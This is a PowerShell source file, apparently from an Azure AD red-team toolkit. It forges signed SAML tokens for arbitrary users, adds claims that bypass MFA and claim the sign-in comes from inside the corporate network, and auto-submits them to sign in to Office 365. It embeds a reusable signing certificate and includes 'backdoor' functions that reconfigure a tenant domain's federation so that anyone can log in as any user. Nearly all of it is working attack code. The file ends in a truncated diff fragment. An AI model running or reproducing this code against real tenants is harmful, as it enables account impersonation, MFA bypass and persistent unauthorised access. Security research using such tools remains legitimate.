$any_sts="MIIDcTCCAligAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJmaTESMBAGA1UECAwJUGlya2FubWFhMREwDwYDVQQKDAhHZXJlbmlvczEcMBoGA1UEAwwTaGFjay5vMzY1ZG9tYWluLm9yZzAeFw0xODAyMjExMzEyNDVaFw0yODAyMTkxMzEyNDVaMFIxCzAJBgNVBAYTAmZpMRIwEAYDVQQIDAlQaXJrYW5tYWExETAPBgNVBAoMCEdlcmVuaW9zMRwwGgYDVQQDDBNoYWNrLm8zNjVkb21haW4ub3JnMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQIApH73Hcv30uHHve6Zd3E/aEeFgQRMZD/CJUQC2DfSk0mDX8X75MIo7gP+62ZTUsOxhSDdOOVYshK8Kyk9VZvo21A5hDcCudXxc/eifCdwGLalCaOQt8pdMlYJgsBDcieMNToCx2pXp1PvkJdKc2JiXQCIAolJySbNXGJbBG1Oh4tty7lEXUqHpHgqiIJCb64q64BIQpZr/WQG0QgtH/gwWYz7b/psNA4xVi8RJnRUl7I62+j0WVSTih2j3kK20j5OIW9Rk+5XoHJ5npOBM84pYJ6yxMz1sOdSqOccAjSVHWFKdM437PxAPeiXAXoBKczGZ72Q8ocz2YSLGKcSMnYCrhECAwEAAaNQME4wHQYDVR0OBBYEFNu32o5XSIQ0lvwB+d2cnTlrtk2PMB8GA1UdIwQYMBaAFNu32o5XSIQ0lvwB+d2cnTlrtk2PMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQENBQADggECAHokwTra0dlyG5jj08TiHlx1pJFnqlejjpFXaItuk2jEBfO/fv1AJaETSR5vupFfDHA337oPiqWugxai1TIvJGKhZImNloMj8lyeZk/9/5Pt2X4N8r1JpAQzt+Ez3z7aNrAFxRjJ0Y+rDDcSItZ5vaXJ5PqBvR7icjIBaXrHVFUC6OZ2RkebbpajbIdt6U/P7ovg7L1J6LAzL/asATZzM3Mjn+9rsC9xLbJwuEabLU+BxySsNo8TULYi9O2MSJ9FvddE6n3OPqrmldldCrb6OugK/pzCwjTnVgRtrHNJc+zKavbiu0Yfp8uYhvCCWAakdQ8g6ZNJ1TGSaYNIrpTIhXIJ"
# Creates a SAML token
# Updated Feb 19th to support device registration. Changed signature and digest to SHA256
function New-SAMLToken
{
<#
.SYNOPSIS
Creates a SAML token
.DESCRIPTION
Creates a valid SAML token for given user
.Parameter UPN
User Principal Name (UPN) of the user or device. For the user, this is not used by AAD Identity Federation so can be any email address.
For the device, this is the display name of the device.
.Parameter ImmutableID
Immutable ID of the user or device. For synced users, this is user's AD object GUID encoded in B64.
For non-synced users this must be set manually, can be any unique string within the tenant.
User doesn't have to federated user.
For device, this is automatically derived from the Device GUID parameter
.Parameter Issuer
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
unique string within Azure AD. Must match federation information of validated domain in the tenant.
.Parameter ByPassMFA
Whether to add an attribute to by-pass MFA. Default is $True.
.Parameter DeviceGUID
The GUID of the device.
.Parameter SID
The SID of the device. If not given, a random SID is created.
.Parameter Certificate
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
.Parameter PfxFileName
The full path to .pfx file from where to load the certificate
.Parameter PfxPassword
The password of the .pfx file
.Example
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$cert = Load-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
.Example
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$saml = New-AADIntSAMLToken -UPN "My PC" -DeviceGUID (New-Guid) -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$False)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
[String]$UPN="joulupukki@korvatunturi.fi", # Not used in AAD identity federation for users, defaults to Santa Claus ;)
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$False)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$False)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
[String]$ImmutableID,
[Parameter(Mandatory=$True)]
[String]$Issuer,
[Parameter(Mandatory=$False)]
[bool]$ByPassMFA=$true,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
[GUID]$DeviceGUID,
[Parameter(Mandatory=$False)]
[string]$SID,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[switch]$UseBuiltInCertificate,
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword
)
Begin
{
# Import the assemblies
Add-Type -AssemblyName 'System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
}
Process
{
# If we got device guid, this is a device so use Device GUID as immutable id and create a new SID if needed
if($isDevice = $DeviceGUID -ne $null)
{
$ImmutableID = Convert-ByteArrayToB64 -Bytes $DeviceGUID.ToByteArray()
if([string]::IsNullOrEmpty($SID))
{
$SID = New-RandomSID
}
}
# Do we use built-in certificate (any.sts)
if($UseBuiltInCertificate)
{
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
}
elseif($Certificate -eq $null) # Load the certificate
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
}
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create a new SAML assertion
$assertion = New-Object System.IdentityModel.Tokens.SamlAssertion
# Set id, time, and issuer
$assertion.AssertionId = "_$((New-Guid).ToString())"
$assertion.IssueInstant = $NotBefore.ToUniversalTime()
$assertion.Issuer = $Issuer
# Create audience and SAML conditions objects
$audienceCondition = New-Object System.IdentityModel.Tokens.SamlAudienceRestrictionCondition -ArgumentList @(,[System.Uri[]]@(New-Object System.Uri("urn:federation:MicrosoftOnline")))
$SAMLConditionList = @($audienceCondition)
$SAMLConditions = New-Object System.IdentityModel.Tokens.SamlConditions($NotBefore, $NotAfter, [System.IdentityModel.Tokens.SamlAudienceRestrictionCondition[]]$SAMLConditionList)
$assertion.Conditions=$SAMLConditions
# Create subject and attribute statements
$subject = New-Object System.IdentityModel.Tokens.SamlSubject
$subject.ConfirmationMethods.Add("urn:oasis:names:tc:SAML:1.0:cm:bearer")
$statement = New-Object System.IdentityModel.Tokens.SamlAttributeStatement
# Note! Azure AD identity federation doesn't care about UPN at all, it can be anything.
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.xmlsoap.org/claims","UPN",[string[]]@($UPN))))
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/LiveID/Federation/2008/05","ImmutableID",[string[]]@($ImmutableID))))
if($ByPassMFA -and !$IsDevice)
{
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/claims","authnmethodsreferences",[string[]]@("http://schemas.microsoft.com/claims/multipleauthn"))))
}
# Default authentication method
$authenticationMethod = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
# Set the device specific attributes and methods
if($IsDevice)
{
$subject.Name = $ImmutableID
$subject.NameFormat = "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2012/01","accounttype",[string[]]@("DJ"))))
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/identity/claims","onpremobjectguid",[string[]]@($ImmutableID))))
$authenticationMethod = "urn:federation:authentication:windows"
}
if(![string]::IsNullOrEmpty($SID))
{
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2008/06/identity/claims","primarysid",[string[]]@($SID))))
}
# Inside company network claim
[System.IdentityModel.Tokens.SamlAttribute]$attribute = New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2012/01","insidecorporatenetwork",[string[]]@("true"))
$attribute.OriginalIssuer = "CLIENT CONTEXT"
$statement.Attributes.Add($attribute)
$statement.SamlSubject = $subject
$assertion.Statements.Add($statement)
# Create authentication statement
$assertion.Statements.Add((New-Object System.IdentityModel.Tokens.SamlAuthenticationStatement($subject,$authenticationMethod, $NotBefore, $null, $null, $null)))
# Sign the assertion
$ski = New-Object System.IdentityModel.Tokens.SecurityKeyIdentifier((New-Object System.IdentityModel.Tokens.X509RawDataKeyIdentifierClause($Certificate)))
$assertion.SigningCredentials = New-Object System.IdentityModel.Tokens.SigningCredentials((New-Object System.IdentityModel.Tokens.X509AsymmetricSecurityKey($Certificate)), [System.IdentityModel.Tokens.SecurityAlgorithms]::RsaSha256Signature, [System.IdentityModel.Tokens.SecurityAlgorithms]::Sha256Digest, $ski )
# Create a SAML token
$token = New-Object System.IdentityModel.Tokens.SamlSecurityToken($assertion)
# Convert to XML
$handler = New-Object System.IdentityModel.Tokens.SamlSecurityTokenHandler
$writer = New-Object System.IO.StringWriter
$handler.WriteToken((New-Object System.Xml.XmlTextWriter($writer)), $token)
$strToken=$writer.ToString()
return $strToken
}
}
# Creates a SAML token
# Updated Feb 19th: Changed signature and digest to SHA 256
function New-SAML2Token
{
<#
.SYNOPSIS
Creates a SAML token
.DESCRIPTION
Creates a valid SAML token for given user
.Parameter UPN
User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address.
.Parameter ImmutableID
Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64.
For non-synced users this must be set manually, can be any unique string within the tenant.
User doesn't have to federated user.
.Parameter Issuer
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
unique string within Azure AD. Must match federation information of validated domain in the tenant.
.Parameter Certificate
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
.Parameter PfxFileName
The full path to .pfx file from where to load the certificate
.Parameter PfxPassword
The password of the .pfx file
.Example
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$UPN="joulupukki@korvatunturi.fi", # Not used in AAD identity federation, defaults to Santa Claus ;)
[Parameter(Mandatory=$True)]
[String]$ImmutableID,
[Parameter(Mandatory=$True)]
[String]$Issuer,
[Parameter(Mandatory=$False)]
[String]$InResponseTo,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[switch]$UseBuiltInCertificate,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword
)
Process
{
# Do we use built-in certificate (any.sts)
if($UseBuiltInCertificate)
{
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
}
elseif($Certificate -eq $null) # Load the ceftificate
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
}
if([String]::IsNullOrEmpty($InResponseTo))
{
$InResponseTo = "_$((New-Guid).ToString())";
}
# Import the assemblies
Add-Type -AssemblyName 'System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create a new SAML2 assertion
$identifier = New-Object System.IdentityModel.Tokens.Saml2NameIdentifier($Issuer)
$assertion = New-Object System.IdentityModel.Tokens.Saml2Assertion($identifier)
# Set id, time, and issuer
$assertion.Id = "_$((New-Guid).ToString())"
$assertion.IssueInstant = $NotBefore.ToUniversalTime()
# Create subject and related objects
$subject = New-Object System.IdentityModel.Tokens.Saml2Subject
$subject.NameId = New-Object System.IdentityModel.Tokens.Saml2NameIdentifier($ImmutableID)
$subject.NameId.Format = New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:nameid-format:persistent")
$confirmationData = New-Object System.IdentityModel.Tokens.Saml2SubjectConfirmationData
$confirmationData.InResponseTo = New-Object System.IdentityModel.Tokens.Saml2Id($InResponseTo)
$confirmationData.NotOnOrAfter = $NotAfter
$confirmationData.Recipient = New-Object System.uri("https://login.microsoftonline.com/login.srf")
$confirmation = New-Object System.IdentityModel.Tokens.Saml2SubjectConfirmation(New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:cm:bearer"))#, $confirmationData)
$confirmation.SubjectConfirmationData = $confirmationData
$subject.SubjectConfirmations.Add($confirmation)
$assertion.Subject = $subject
# Create condition and audience objects
$conditions = New-Object System.IdentityModel.Tokens.Saml2Conditions
$conditions.NotBefore = $NotBefore
$conditions.NotOnOrAfter = $NotAfter
$conditions.AudienceRestrictions.Add((New-Object System.IdentityModel.Tokens.Saml2AudienceRestriction(New-Object System.Uri("urn:federation:MicrosoftOnline", [System.UriKind]::RelativeOrAbsolute))))
$assertion.Conditions = $conditions
# Add statements
$attrUPN = New-Object System.IdentityModel.Tokens.Saml2Attribute("IDPEmail",$UPN)
$statement = New-Object System.IdentityModel.Tokens.Saml2AttributeStatement
$statement.Attributes.Add($attrUPN)
$assertion.Statements.Add($statement)
$authenticationContext = New-Object System.IdentityModel.Tokens.Saml2AuthenticationContext(New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"))
$authenticationStatement = New-Object System.IdentityModel.Tokens.Saml2AuthenticationStatement($authenticationContext)
$authenticationStatement.AuthenticationInstant = $NotBefore
$authenticationStatement.SessionIndex = $assertion.Id.Value
$assertion.Statements.Add($authenticationStatement)
# Sign the assertion
$ski = New-Object System.IdentityModel.Tokens.SecurityKeyIdentifier((New-Object System.IdentityModel.Tokens.X509RawDataKeyIdentifierClause($Certificate)))
$assertion.SigningCredentials = New-Object System.IdentityModel.Tokens.SigningCredentials((New-Object System.IdentityModel.Tokens.X509AsymmetricSecurityKey($Certificate)), [System.IdentityModel.Tokens.SecurityAlgorithms]::RsaSha256Signature, [System.IdentityModel.Tokens.SecurityAlgorithms]::Sha256Digest, $ski )
# Create a SAML token
$token = New-Object System.IdentityModel.Tokens.Saml2SecurityToken($assertion)
# Convert to XML
$handler = New-Object System.IdentityModel.Tokens.Saml2SecurityTokenHandler
$writer = New-Object System.IO.StringWriter
$handler.WriteToken((New-Object System.Xml.XmlTextWriter($writer)), $token)
$strToken=$writer.ToString()
return $strToken
}
}
# Create WSFed response
function New-WSFedResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SAMLToken,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter
)
Process
{
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create the Request Security Token Response
$response=@"
<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">
<t:Lifetime>
<wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$($NotBefore.toString("o"))</wsu:Created>
<wsu:Expires xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$($NotAfter.toString("o"))</wsu:Expires>
</t:Lifetime>
<wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
<wsa:EndpointReference xmlns:wsa="http://www.w3.org/2005/08/addressing">
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<t:RequestedSecurityToken>
$SAMLToken
</t:RequestedSecurityToken>
<t:TokenType>urn:oasis:names:tc:SAML:1.0:assertion</t:TokenType>
<t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType>
<t:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</t:KeyType>
</t:RequestSecurityTokenResponse>
"@
return $response
}
}
# Create SAML-P response
function New-SAMLPResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SAML2Token,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(Mandatory=$False)]
[String]$InResponseTo
)
Process
{
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create the Request Security Token Response
$response=@"
<samlp:Response ID="_$((New-Guid).ToString())" Version="2.0" IssueInstant="$($NotBefore.toString('s'))Z" Destination="https://login.microsoftonline.com/login.srf" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="$InResponseTo" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">$Issuer</Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
$SAML2Token
</samlp:Response>
"@
return $response
}
}
# Opens a web browser and logins as the given user
function Open-Office365Portal
{
<#
.SYNOPSIS
Opens a web browser and logins to Office 365 as the given user
.DESCRIPTION
Creates an identity federation token and opens a login form in private or incognito window.
.Parameter UPN
User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address.
.Parameter ImmutableID
Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64.
For non-synced users this must be set manually, can be any unique string within the tenant.
User doesn't have to be federated user.
.Parameter Issuer
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
unique string within Azure AD. Must match federation information of validated domain in the tenant.
.Parameter ByPassMFA
Whether to add an attribute to by-pass MFA. Default is $True.
.Parameter UseAnySTS
Uses internal any.sts certificate
.Parameter Certificate
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
.Parameter PfxFileName
The full path to .pfx file from where to load the certificate
.Parameter PfxPassword
The password of the .pfx file
.Parameter UseBuiltInCertificate
Use the built-in any.sts certificate.
.Parameter Browser
Which browser to be used. Can be "IE", "Chrome", or "Edge". Defaults to "Edge"
.Example
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
.Example
PS C:\>$id=Get-AADIntImmutableID -ADUser (Get-ADUser firstname.lastname)
PS C:\>Open-AADIntOffice365Portal -ImmutableId $id -Issuer "http://mysts.company.com/adfs/ls" -UseBuiltInCertificate
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$UPN="joulupukki@korvatunturi.fi", # Not used in AAD identity federation, defaults to Santa Claus ;)
[Parameter(Mandatory=$True)]
[String]$ImmutableID,
[Parameter(Mandatory=$True)]
[String]$Issuer,
[Parameter(Mandatory=$False)]
[bool]$ByPassMFA=$true,
[ValidateSet('WSFED','SAMLP')]
$TokenType="WSFED",
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[switch]$UseBuiltInCertificate,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword,
[ValidateSet('IE','Edge','Chrome')]
$Browser="Edge"
)
Process
{
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Do we use built-in certificate (any.sts)
if($UseBuiltInCertificate)
{
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
}
elseif($Certificate -eq $null) # Load the ceftificate
{
try
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
}
catch
{
$_
return
}
}
$form=""
if($TokenType -eq "WSFED")
{
# Create SAML token and WSFED response
$token=New-SAMLToken -UPN $UPN -ImmutableID $ImmutableId -Issuer $Issuer -Certificate $Certificate -NotBefore $NotBefore -NotAfter $NotAfter -ByPassMFA $ByPassMFA
$wsfed=New-WSFedResponse -SAMLToken $token -NotBefore $NotBefore -NotAfter $NotAfter
# Create a login form
$form=@"
<html>
<head><title>AADInternals Office 365 login form</title></head>
<body onload="document.forms['login'].submit()">
<form action="https://login.microsoftonline.com/login.srf" method="post" name="login">
<input name="wa" type="hidden" value="wsignin1.0" />
<input name="wctx" type="hidden" value="" />
<input name="wresult" type="hidden" value="$([System.Net.WebUtility]::HtmlEncode($wsfed))">
To login automatically, the javascript needs to be enabled.. So just click the button! <br>
<button type="submit">Login to Office 365</button> </form>
</body>
</html>
"@
}
else
{
# Create SAML2 token and SAMLP response
$token=New-SAML2Token -UPN $UPN -ImmutableID $ImmutableId -Issuer $Issuer -Certificate $Certificate -NotBefore $NotBefore -NotAfter $NotAfter
$samlp=New-SAMLPResponse -SAML2Token $token -NotBefore $NotBefore -NotAfter $NotAfter
# Create a login form
$form=@"
<html>
<head><title>AADInternals Office 365 login form</title></head>
<body onload="document.forms['login'].submit()">
<form action="https://login.microsoftonline.com/login.srf" method="post">
<input name="RelayState" value="" type="hidden"/>
<input name="SAMLResponse" value="$([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($samlp)))" type="hidden"/>
To login automatically, the javascript needs to be enabled.. So just click the button! <br>
<button type="submit">Login to Office 365</button>
</form>
</body>
</html>
"@
}
# Create a temporary file
# TODO: remove the tmp file
$tmp = New-TemporaryFile
Rename-Item -Path $tmp.FullName -NewName ($tmp.Name+".html")
$html = ($tmp.FullName+".html")
# Write the form to the file
$form | Out-File $html
# Start the browser in private mode
if($Browser -eq "IE")
{
Start-Process iexplore.exe -ArgumentList "-private $("file:///$html")"
}
elseif($Browser -eq "Chrome")
{
Start-Process chrome.exe -ArgumentList "-incognito $("file:///$html")"
}
else
{
Start-Process msedge.exe -ArgumentList "-inprivate $("file:///$html")"
}
}
}
# Gets immutable id from AD user
function Get-ImmutableID
{
<#
.SYNOPSIS
Gets Immutable ID using user's AD object
.DESCRIPTION
Gets Immutable ID using user's AD object
.Parameter ADUser
Users AD object.
.Example
PS C:\>$user=Get-ADUser "myuser"
PS C:\>$immutableId=Get-AADIntImmutableID -ADUser $user
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$ADUser
)
Process
{
if($ADUser.GetType().ToString() -ne "Microsoft.ActiveDirectory.Management.ADUser")
{
Write-Error "ADUser is wrong type. Must be Microsoft.ActiveDirectory.Management.ADUser"
return
}
# Convert GUID to Base64
$guid=$ADUser.ObjectGUID.ToString()
$ImmutableId=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getBytes($guid))
return $ImmutableId
}
}
# Creates a backdoor to Azure AD by using an existing domain
function ConvertTo-Backdoor
{
<#
.SYNOPSIS
Converts a domain to a backdoor to Azure AD tenant.
.DESCRIPTION
Opens a backdoor to Azure AD tenant by altering the given domains authentication settings.
Allows logging in as any user of the tenant.
The certificate will be configured to be any.sts and issuer http://any.sts/<8 byte hex-value>
.Parameter AccessToken
Access Token
.Parameter DomainName
The domain to be used as a backdoor
.Parameter Create
If set, tries to create the domain
.Example
PS C:\>ConvertTo-AADIntBackdoor -DomainName company.myo365.site
IssuerUri Domain
--------- ------
http://any.sts/B231A11F company.myo365.site
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$DomainName,
[Parameter(Mandatory=$False)]
[switch]$Create
)
Process
{
# Unique ID
$UniqueID = '{0:X}' -f (Get-Date).GetHashCode()
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
# Set some variables
$tenant_id = Get-TenantId -AccessToken $AccessToken
$LogOnOffUri ="https://any.sts/$UniqueID"
$IssuerUri = "http://any.sts/$UniqueID"
$input = read-host "Are you sure to create backdoor with $DomainName`? Type YES to continue or CTRL+C to abort"
switch ($input) `
{
"yes" {
# Tries to create a new unverified domain
if($Create)
{
New-Domain -AccessToken $AccessToken -Name $DomainName
# We need to wait a while for the domain to be created..
$seconds = 15
$done = (Get-Date).AddSeconds($seconds)
while($done -gt (Get-Date)) {
$secondsLeft = $done.Subtract((Get-Date)).TotalSeconds
$percent = ($seconds - $secondsLeft) / $seconds * 100
Write-Progress -Activity "Waiting" -Status "Waiting $seconds seconds for the domain to be ready..." -SecondsRemaining $secondsLeft -PercentComplete $percent
[System.Threading.Thread]::Sleep(500)
}
Write-Progress -Activity "Waiting" -Status "Waiting $seconds seconds for the domain to be ready..." -SecondsRemaining 0 -Completed
}
Set-DomainAuthentication -Authentication Federated -AccessToken $AccessToken -DomainName $DomainName -LogOffUri $LogOnOffUri -PassiveLogOnUri $LogOnOffUri -IssuerUri $IssuerUri -SigningCertificate $any_sts -SupportsMfa $true
Return New-Object PSObject -Property @{"Domain"=$DomainName; "IssuerUri" = $IssuerUri}
}
default {
write-host "Aborted" -ForegroundColor Red
}
}
}
}
# Creates a backdoor to Azure AD
# 03.02.2019
function New-Backdoor
{
<#
.SYNOPSIS
Creates a new backdoor to Azure AD tenant.
.DESCRIPTION
Creates a new backdoor to Azure tenant by creating a new domain and by altering its authentication settings.
Allows logging in as any user of the tenant.
The certificate will be configured to be any.sts and issuer http://any.sts/<8 byte hex-value>
Utilises a bug in Azure AD, which allows converting unverified domains to federated.
.Parameter AccessToken
Access Token
.Parameter DomainName
The domain to be created to be used as a backdoor. If not given, uses default.onmicrosoft.com.
.Example
PS C:\>New-AADIntBackdoor -DomainName backdoor.company.com
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[String]$DomainName="microsoft.com"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
ConvertTo-Backdoor -AccessToken $AccessToken -DomainName $DomainName -Create
}
}
+405
View File
@@ -0,0 +1,405 @@
# This script contains functions for Graph API at https://graph.windows.net
# Office 365 / Azure AD v2, a.k.a. AzureAD module uses this API
function Get-AADUsers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
